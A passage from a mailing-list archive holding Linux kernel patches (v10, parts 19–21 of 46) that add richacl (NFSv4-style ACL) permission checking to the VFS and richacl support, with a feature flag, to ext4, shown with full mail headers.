b/include/linux/richacl_xattr.h index f84cc21..dac4e32 100644 --- a/include/linux/richacl_xattr.h +++ b/include/linux/richacl_xattr.h @@ -59,4 +59,6 @@ static inline void richacl_fix_xattr_to_user(void *value, size_t size) } #endif +extern struct xattr_handler richacl_xattr_handler; + #endif /* __RICHACL_XATTR_H */ -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:01:24 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 187C77F58 for ; Sun, 11 Oct 2015 18:01:24 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id AA236AC003 for ; Sun, 11 Oct 2015 16:01:23 -0700 (PDT) X-ASG-Debug-ID: 1444604482-04bdf020dba1b30001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id I0t0qaWk5H7ae3wM (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:01:22 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 63E7FA85; Sun, 11 Oct 2015 23:01:22 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36h016614; Sun, 11 Oct 2015 19:01:16 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 19/46] vfs: Add richacl permission checking Date: Mon, 12 Oct 2015 00:58:30 +0200 X-ASG-Orig-Subj: [PATCH v10 19/46] vfs: Add richacl permission checking Message-Id: <1444604337-17651-20-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604482 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher Hook the richacl permission checking function into the vfs. Signed-off-by: Andreas Gruenbacher --- fs/namei.c | 51 +++++++++++++++++++++++++++++++++++++++++++++++++-- fs/posix_acl.c | 6 +++--- 2 files changed, 52 insertions(+), 5 deletions(-) diff --git a/fs/namei.c b/fs/namei.c index 2eab19e..3822b5e 100644 --- a/fs/namei.c +++ b/fs/namei.c @@ -35,6 +35,7 @@ #include #include #include +#include #include #include "internal.h" @@ -255,7 +256,40 @@ void putname(struct filename *name) __putname(name); } -static int check_acl(struct inode *inode, int mask) +static int check_richacl(struct inode *inode, int mask) +{ +#ifdef CONFIG_FS_RICHACL + struct richacl *acl; + + if (mask & MAY_NOT_BLOCK) { + acl = get_cached_richacl_rcu(inode); + if (!acl) + goto no_acl; + /* no ->get_richacl() calls in RCU mode... */ + if (acl == ACL_NOT_CACHED) + return -ECHILD; + return richacl_permission(inode, acl, mask & ~MAY_NOT_BLOCK); + } + + acl = get_richacl(inode); + if (IS_ERR(acl)) + return PTR_ERR(acl); + if (acl) { + int error = richacl_permission(inode, acl, mask); + richacl_put(acl); + return error; + } +no_acl: +#endif + if (mask & (MAY_DELETE_SELF | MAY_TAKE_OWNERSHIP | + MAY_CHMOD | MAY_SET_TIMES)) { + /* File permission bits cannot grant this. */ + return -EACCES; + } + return -EAGAIN; +} + +static int check_posix_acl(struct inode *inode, int mask) { #ifdef CONFIG_FS_POSIX_ACL struct posix_acl *acl; @@ -290,11 +324,24 @@ static int acl_permission_check(struct inode *inode, int mask) { unsigned int mode = inode->i_mode; + /* + * With POSIX ACLs, the (mode & S_IRWXU) bits exactly match the owner + * permissions, and we can skip checking posix acls for the owner. + * With richacls, the owner may be granted fewer permissions than the + * mode bits seem to suggest (for example, append but not write), and + * we always need to check the richacl. + */ + + if (IS_RICHACL(inode)) { + int error = check_richacl(inode, mask); + if (error != -EAGAIN) + return error; + } if (likely(uid_eq(current_fsuid(), inode->i_uid))) mode >>= 6; else { if (IS_POSIXACL(inode) && (mode & S_IRWXG)) { - int error = check_acl(inode, mask); + int error = check_posix_acl(inode, mask); if (error != -EAGAIN) return error; } diff --git a/fs/posix_acl.c b/fs/posix_acl.c index 1d766a5..3459bd5 100644 --- a/fs/posix_acl.c +++ b/fs/posix_acl.c @@ -100,13 +100,13 @@ struct posix_acl *get_acl(struct inode *inode, int type) { struct posix_acl *acl; + if (!IS_POSIXACL(inode)) + return NULL; + acl = get_cached_acl(inode, type); if (acl != ACL_NOT_CACHED) return acl; - if (!IS_POSIXACL(inode)) - return NULL; - /* * A filesystem can force a ACL callback by just never filling the * ACL cache. But normally you'd fill the cache either at inode -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:01:35 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1F1DF7F58 for ; Sun, 11 Oct 2015 18:01:35 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id D61648F804B for ; Sun, 11 Oct 2015 16:01:31 -0700 (PDT) X-ASG-Debug-ID: 1444604489-04bdf020dda1b40001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id hT68jiXiyHVQynaD (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:01:30 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id AE3DC8EA3B; Sun, 11 Oct 2015 23:01:29 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36i016614; Sun, 11 Oct 2015 19:01:23 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: "Aneesh Kumar K.V" , Andreas Gruenbacher Subject: [PATCH v10 20/46] ext4: Add richacl support Date: Mon, 12 Oct 2015 00:58:31 +0200 X-ASG-Orig-Subj: [PATCH v10 20/46] ext4: Add richacl support Message-Id: <1444604337-17651-21-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604490 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: "Aneesh Kumar K.V" Support the richacl permission model in ext4. The richacls are stored in "system.richacl" xattrs. Richacls need to be enabled by tune2fs or at file system create time. Signed-off-by: Aneesh Kumar K.V Signed-off-by: Andreas Gruenbacher --- fs/ext4/Kconfig | 11 +++++ fs/ext4/Makefile | 1 + fs/ext4/file.c | 3 ++ fs/ext4/ialloc.c | 7 ++- fs/ext4/inode.c | 10 +++-- fs/ext4/namei.c | 5 +++ fs/ext4/richacl.c | 129 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ fs/ext4/richacl.h | 43 ++++++++++++++++++ fs/ext4/xattr.c | 7 +++ 9 files changed, 212 insertions(+), 4 deletions(-) create mode 100644 fs/ext4/richacl.c create mode 100644 fs/ext4/richacl.h diff --git a/fs/ext4/Kconfig b/fs/ext4/Kconfig index 47728da..3ec0843 100644 --- a/fs/ext4/Kconfig +++ b/fs/ext4/Kconfig @@ -22,6 +22,17 @@ config EXT3_FS_POSIX_ACL This config option is here only for backward compatibility. ext3 filesystem is now handled by the ext4 driver. +config EXT4_FS_RICHACL + bool "Ext4 Rich Access Control Lists (EXPERIMENTAL)" + depends on EXT4_FS + select FS_RICHACL + help + Richacls are an implementation of NFSv4 ACLs, extended by file masks + to cleanly integrate into the POSIX file permission model. To learn + more about them, see http://www.bestbits.at/richacl/. + + If you don't know what Richacls are, say N. + config EXT3_FS_SECURITY bool "Ext3 Security Labels" depends on EXT3_FS diff --git a/fs/ext4/Makefile b/fs/ext4/Makefile index 75285ea..ea0d539 100644 --- a/fs/ext4/Makefile +++ b/fs/ext4/Makefile @@ -14,3 +14,4 @@ ext4-$(CONFIG_EXT4_FS_POSIX_ACL) += acl.o ext4-$(CONFIG_EXT4_FS_SECURITY) += xattr_security.o ext4-$(CONFIG_EXT4_FS_ENCRYPTION) += crypto_policy.o crypto.o \ crypto_key.o crypto_fname.o +ext4-$(CONFIG_EXT4_FS_RICHACL) += richacl.o diff --git a/fs/ext4/file.c b/fs/ext4/file.c index 113837e..a03b4a5 100644 --- a/fs/ext4/file.c +++ b/fs/ext4/file.c @@ -30,6 +30,7 @@ #include "ext4_jbd2.h" #include "xattr.h" #include "acl.h" +#include "richacl.h" /* * Called when an inode is released. Note that this is different @@ -719,6 +720,8 @@ const struct inode_operations ext4_file_inode_operations = { .removexattr = generic_removexattr, .get_acl = ext4_get_acl, .set_acl = ext4_set_acl, + .get_richacl = ext4_get_richacl, + .set_richacl = ext4_set_richacl, .fiemap = ext4_fiemap, }; diff --git a/fs/ext4/ialloc.c b/fs/ext4/ialloc.c index 619bfc1..f279725 100644 --- a/fs/ext4/ialloc.c +++ b/fs/ext4/ialloc.c @@ -27,6 +27,7 @@ #include "ext4_jbd2.h" #include "xattr.h" #include "acl.h" +#include "richacl.h" #include @@ -1052,7 +1053,11 @@ got: if (err) goto fail_drop; - err = ext4_init_acl(handle, inode, dir); + if (EXT4_IS_RICHACL(dir)) + err = ext4_init_richacl(handle, inode, dir); + else + err = ext4_init_acl(handle, inode, dir); + if (err) goto fail_free_drop; diff --git a/fs/ext4/inode.c b/fs/ext4/inode.c index 612fbcf..d8a48a3 100644 --- a/fs/ext4/inode.c +++ b/fs/ext4/inode.c @@ -42,6 +42,7 @@ #include "xattr.h" #include "acl.h" #include "truncate.h" +#include "richacl.h" #include @@ -4805,9 +4806,12 @@ int ext4_setattr(struct dentry *dentry, struct iattr *attr) if (orphan && inode->i_nlink) ext4_orphan_del(NULL, inode); - if (!rc && (ia_valid & ATTR_MODE)) - rc = posix_acl_chmod(inode, inode->i_mode); - + if (!rc && (ia_valid & ATTR_MODE)) { + if (EXT4_IS_RICHACL(inode)) + rc = richacl_chmod(inode, inode->i_mode); + else + rc = posix_acl_chmod(inode, inode->i_mode); + } err_out: ext4_std_error(inode->i_sb, error); if (!error) diff --git a/fs/ext4/namei.c b/fs/ext4/namei.c index 9f61e76..9b6e8b9 100644 --- a/fs/ext4/namei.c +++ b/fs/ext4/namei.c @@ -38,6 +38,7 @@ #include "xattr.h" #include "acl.h" +#include "richacl.h" #include /* @@ -3854,6 +3855,8 @@ const struct inode_operations ext4_dir_inode_operations = { .removexattr = generic_removexattr, .get_acl = ext4_get_acl, .set_acl = ext4_set_acl, + .get_richacl = ext4_get_richacl, + .set_richacl = ext4_set_richacl, .fiemap = ext4_fiemap, }; @@ -3865,4 +3868,6 @@ const struct inode_operations ext4_special_inode_operations = { .removexattr = generic_removexattr, .get_acl = ext4_get_acl, .set_acl = ext4_set_acl, + .get_richacl = ext4_get_richacl, + .set_richacl = ext4_set_richacl, }; diff --git a/fs/ext4/richacl.c b/fs/ext4/richacl.c new file mode 100644 index 0000000..b46ac60 --- /dev/null +++ b/fs/ext4/richacl.c @@ -0,0 +1,129 @@ +/* + * Copyright IBM Corporation, 2010 + * Copyright (C) 2015 Red Hat, Inc. + * Author Aneesh Kumar K.V + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of version 2.1 of the GNU Lesser General Public License + * as published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * + */ + +#include +#include +#include + +#include "ext4.h" +#include "ext4_jbd2.h" +#include "xattr.h" +#include "acl.h" +#include "richacl.h" + +struct richacl * +ext4_get_richacl(struct inode *inode) +{ + const int name_index = EXT4_XATTR_INDEX_RICHACL; + void *value = NULL; + struct richacl *acl; + int retval; + + retval = ext4_xattr_get(inode, name_index, "", NULL, 0); + if (retval > 0) { + value = kmalloc(retval, GFP_NOFS); + if (!value) + return ERR_PTR(-ENOMEM); + retval = ext4_xattr_get(inode, name_index, "", value, retval); + } + if (retval > 0) { + acl = richacl_from_xattr(&init_user_ns, value, retval); + if (acl == ERR_PTR(-EINVAL)) + acl = ERR_PTR(-EIO); + } else if (retval == -ENODATA || retval == -ENOSYS) + acl = NULL; + else + acl = ERR_PTR(retval); + kfree(value); + + if (!IS_ERR(acl)) + set_cached_richacl(inode, acl); + + return acl; +} + +static int +__ext4_set_richacl(handle_t *handle, struct inode *inode, struct richacl *acl) +{ + const int name_index = EXT4_XATTR_INDEX_RICHACL; + umode_t mode = inode->i_mode; + int retval; + + if (acl) { + if (richacl_equiv_mode(acl, &mode) == 0) { + inode->i_ctime = ext4_current_time(inode); + inode->i_mode = mode; + ext4_mark_inode_dirty(handle, inode); + acl = NULL; + } + } + if (acl) { + void *value; + size_t size = richacl_xattr_size(acl); + + mode &= ~S_IRWXUGO; + mode |= richacl_masks_to_mode(acl); + + value = kmalloc(size, GFP_NOFS); + if (!value) + return -ENOMEM; + richacl_to_xattr(&init_user_ns, acl, value, size); + inode->i_mode = mode; + retval = ext4_xattr_set_handle(handle, inode, name_index, "", + value, size, 0); + kfree(value); + } else + retval = ext4_xattr_set_handle(handle, inode, name_index, "", + NULL, 0, 0); + if (!retval) + set_cached_richacl(inode, acl); + + return retval; +} + +int +ext4_set_richacl(struct inode *inode, struct richacl *acl) +{ + handle_t *handle; + int retval, retries = 0; + +retry: + handle = ext4_journal_start(inode, EXT4_HT_XATTR, + ext4_jbd2_credits_xattr(inode)); + if (IS_ERR(handle)) + return PTR_ERR(handle); + + retval = __ext4_set_richacl(handle, inode, acl); + ext4_journal_stop(handle); + if (retval == -ENOSPC && ext4_should_retry_alloc(inode->i_sb, &retries)) + goto retry; + return retval; +} + +int +ext4_init_richacl(handle_t *handle, struct inode *inode, struct inode *dir) +{ + struct richacl *acl = richacl_create(&inode->i_mode, dir); + int error; + + error = PTR_ERR(acl); + if (IS_ERR(acl)) + return error; + if (acl) { + error = __ext4_set_richacl(handle, inode, acl); + richacl_put(acl); + } + return error; +} diff --git a/fs/ext4/richacl.h b/fs/ext4/richacl.h new file mode 100644 index 0000000..fc7826f --- /dev/null +++ b/fs/ext4/richacl.h @@ -0,0 +1,43 @@ +/* + * Copyright IBM Corporation, 2010 + * Copyright (C) 2015 Red Hat, Inc. + * Author Aneesh Kumar K.V + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of version 2.1 of the GNU Lesser General Public License + * as published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * + */ + +#ifndef __FS_EXT4_RICHACL_H +#define __FS_EXT4_RICHACL_H + +#include + +#ifdef CONFIG_EXT4_FS_RICHACL + +#define EXT4_IS_RICHACL(inode) IS_RICHACL(inode) + +extern struct richacl *ext4_get_richacl(struct inode *); +extern int ext4_set_richacl(struct inode *, struct richacl *); + +extern int ext4_init_richacl(handle_t *, struct inode *, struct inode *); + +#else /* CONFIG_EXT4_FS_RICHACL */ + +#define EXT4_IS_RICHACL(inode) (0) +#define ext4_get_richacl NULL +#define ext4_set_richacl NULL + +static inline int +ext4_init_richacl(handle_t *handle, struct inode *inode, struct inode *dir) +{ + return 0; +} + +#endif /* CONFIG_EXT4_FS_RICHACL */ +#endif /* __FS_EXT4_RICHACL_H */ diff --git a/fs/ext4/xattr.c b/fs/ext4/xattr.c index 16e28c0..4d79adb 100644 --- a/fs/ext4/xattr.c +++ b/fs/ext4/xattr.c @@ -55,6 +55,7 @@ #include #include #include +#include #include "ext4_jbd2.h" #include "ext4.h" #include "xattr.h" @@ -99,6 +100,9 @@ static const struct xattr_handler *ext4_xattr_handler_map[] = { #ifdef CONFIG_EXT4_FS_SECURITY [EXT4_XATTR_INDEX_SECURITY] = &ext4_xattr_security_handler, #endif +#ifdef CONFIG_EXT4_FS_RICHACL + [EXT4_XATTR_INDEX_RICHACL] = &richacl_xattr_handler, +#endif }; const struct xattr_handler *ext4_xattr_handlers[] = { @@ -111,6 +115,9 @@ const struct xattr_handler *ext4_xattr_handlers[] = { #ifdef CONFIG_EXT4_FS_SECURITY &ext4_xattr_security_handler, #endif +#ifdef CONFIG_EXT4_FS_RICHACL + &richacl_xattr_handler, +#endif NULL }; -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:01:38 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DDA697FAD for ; Sun, 11 Oct 2015 18:01:38 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id BF1998F8040 for ; Sun, 11 Oct 2015 16:01:38 -0700 (PDT) X-ASG-Debug-ID: 1444604497-04cbb05fc03d670001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id XRlLX50nGwrhYrkA (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:01:37 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id E955C8E6EA; Sun, 11 Oct 2015 23:01:36 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36j016614; Sun, 11 Oct 2015 19:01:30 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: "Aneesh Kumar K.V" , Andreas Gruenbacher Subject: [PATCH v10 21/46] ext4: Add richacl feature flag Date: Mon, 12 Oct 2015 00:58:32 +0200 X-ASG-Orig-Subj: [PATCH v10 21/46] ext4: Add richacl feature flag Message-Id: <1444604337-17651-22-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604497 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: "Aneesh Kumar K.V" This feature flag selects richacl instead of posix acl support on the file system. In addition, the "acl" mount option is needed for enabling either of the two kinds of acls. Signed-off-by: Aneesh Kumar K.V Signed-off-by: Andreas Gruenbacher --- fs/ext4/ext4.h | 6 ++++-- fs/ext4/super.c | 42 +++++++++++++++++++++++++++++++++--------- 2 files changed, 37 insertions(+), 11 deletions(-) diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h index fd1f28b..b97a3b1 100644 --- a/fs/ext4/ext4.h +++ b/fs/ext4/ext4.h @@ -991,7 +991,7 @@ struct ext4_inode_info { #define EXT4_MOUNT_UPDATE_JOURNAL 0x01000 /* Update the journal format */ #define EXT4_MOUNT_NO_UID32 0x02000 /* Disable 32-bit UIDs */ #define EXT4_MOUNT_XATTR_USER 0x04000 /* Extended user attributes */ -#define EXT4_MOUNT_POSIX_ACL 0x08000 /* POSIX Access Control Lists */ +#define EXT4_MOUNT_ACL 0x08000 /* Access Control Lists */ #define EXT4_MOUNT_NO_AUTO_DA_ALLOC 0x10000 /* No auto delalloc mapping */ #define EXT4_MOUNT_BARRIER 0x20000 /* Use block barriers */ #define EXT4_MOUNT_QUOTA 0x80000 /* Some quota option set */ @@ -1582,6 +1582,7 @@ static inline int ext4_encrypted_inode(struct inode *inode) #define EXT4_FEATURE_INCOMPAT_LARGEDIR 0x4000 /* >2GB or 3-lvl htree */ #define EXT4_FEATURE_INCOMPAT_INLINE_DATA 0x8000 /* data in inode */ #define EXT4_FEATURE_INCOMPAT_ENCRYPT 0x10000 +#define EXT4_FEATURE_INCOMPAT_RICHACL 0x20000 #define EXT2_FEATURE_COMPAT_SUPP EXT4_FEATURE_COMPAT_EXT_ATTR #define EXT2_FEATURE_INCOMPAT_SUPP (EXT4_FEATURE_INCOMPAT_FILETYPE| \ @@ -1607,7 +1608,8 @@ static inline int ext4_encrypted_inode(struct inode *inode) EXT4_FEATURE_INCOMPAT_FLEX_BG| \ EXT4_FEATURE_INCOMPAT_MMP | \ EXT4_FEATURE_INCOMPAT_INLINE_DATA | \ - EXT4_FEATURE_INCOMPAT_ENCRYPT) + EXT4_FEATURE_INCOMPAT_ENCRYPT | \ + EXT4_FEATURE_INCOMPAT_RICHACL) #define EXT4_FEATURE_RO_COMPAT_SUPP (EXT4_FEATURE_RO_COMPAT_SPARSE_SUPER| \ EXT4_FEATURE_RO_COMPAT_LARGE_FILE| \ EXT4_FEATURE_RO_COMPAT_GDT_CSUM| \ diff --git a/fs/ext4/super.c b/fs/ext4/super.c index a63c7b0..84d1a5d 100644 --- a/fs/ext4/super.c +++ b/fs/ext4/super.c @@ -1270,6 +1270,28 @@ static ext4_fsblk_t get_sb_block(void **data) return sb_block; } +static int enable_acl(struct super_block *sb) +{ + sb->s_flags &= ~(MS_POSIXACL | MS_RICHACL); + if (test_opt(sb, ACL)) { + if (EXT4_HAS_INCOMPAT_FEATURE(sb, + EXT4_FEATURE_INCOMPAT_RICHACL)) { +#ifdef CONFIG_EXT4_FS_RICHACL + sb->s_flags |= MS_RICHACL; +#else + return -EOPNOTSUPP; +#endif + } else { +#ifdef CONFIG_EXT4_FS_POSIX_ACL + sb->s_flags |= MS_POSIXACL; +#else + return -EOPNOTSUPP; +#endif + } + } + return 0; +} + #define DEFAULT_JOURNAL_IOPRIO (IOPRIO_PRIO_VALUE(IOPRIO_CLASS_BE, 3)) static char deprecated_msg[] = "Mount option \"%s\" will be removed by %s\n" "Contact linux-ext4@vger.kernel.org if you think we should keep it.\n"; @@ -1416,9 +1438,9 @@ static const struct mount_opts { MOPT_NO_EXT2 | MOPT_DATAJ}, {Opt_user_xattr, EXT4_MOUNT_XATTR_USER, MOPT_SET}, {Opt_nouser_xattr, EXT4_MOUNT_XATTR_USER, MOPT_CLEAR}, -#ifdef CONFIG_EXT4_FS_POSIX_ACL - {Opt_acl, EXT4_MOUNT_POSIX_ACL, MOPT_SET}, - {Opt_noacl, EXT4_MOUNT_POSIX_ACL, MOPT_CLEAR}, +#if defined(CONFIG_EXT4_FS_POSIX_ACL) || defined(CONFIG_EXT4_FS_RICHACL) + {Opt_acl, EXT4_MOUNT_ACL, MOPT_SET}, + {Opt_noacl, EXT4_MOUNT_ACL, MOPT_CLEAR}, #else {Opt_acl, 0, MOPT_NOSUPPORT}, {Opt_noacl, 0, MOPT_NOSUPPORT}, @@ -3576,8 +3598,8 @@ static int ext4_fill_super(struct super_block *sb, void *data, int silent) set_opt(sb, NO_UID32); /* xattr user namespace & acls are now defaulted on */ set_opt(sb, XATTR_USER); -#ifdef CONFIG_EXT4_FS_POSIX_ACL - set_opt(sb, POSIX_ACL); +#if defined(CONFIG_EXT4_FS_POSIX_ACL) || defined(CONFIG_EXT4_FS_RICHACL) + set_opt(sb, ACL); #endif /* don't forget to enable journal_csum when metadata_csum is enabled. */ if (ext4_has_metadata_csum(sb)) @@ -3660,8 +3682,9 @@ static int ext4_fill_super(struct super_block *sb, void *data, int silent) sb->s_iflags |= SB_I_CGROUPWB; } - sb->s_flags = (sb->s_flags & ~MS_POSIXACL) | - (test_opt(sb, POSIX_ACL) ? MS_POSIXACL : 0); + err = enable_acl(sb); + if (err) + goto failed_mount; if (le32_to_cpu(es->s_rev_level) == EXT4_GOOD_OLD_REV && (EXT4_HAS_COMPAT_FEATURE(sb, ~0U) || @@ -4981,8 +5004,9 @@ static int ext4_remount(struct super_block *sb, int *flags, char *data) if (sbi->s_mount_flags & EXT4_MF_FS_ABORTED) ext4_abort(sb, "Abort forced by user"); - sb->s_flags = (sb->s_flags & ~MS_POSIXACL) | - (test_opt(sb, POSIX_ACL) ? MS_POSIXACL : 0); + err = enable_acl(sb); + if (err) + goto restore_opts; es = sbi->s_es; -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:01:46 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1233D7F6A for ; Sun, 11 Oct 2015 18:01:46 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 86099AC001 for ; Sun, 11 Oct 2015 16:01:45 -0700 (PDT) X-ASG-Debug-ID: 1444604504-04cbb05fbe3d670001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 9hgy3dq5ozZZ1oA2 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:01:44 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id D0DDA2CAB7D; Sun, 11 Oct 2015 23:01:43 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36k016614; Sun, 11 Oct 2015 19:01:37 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, 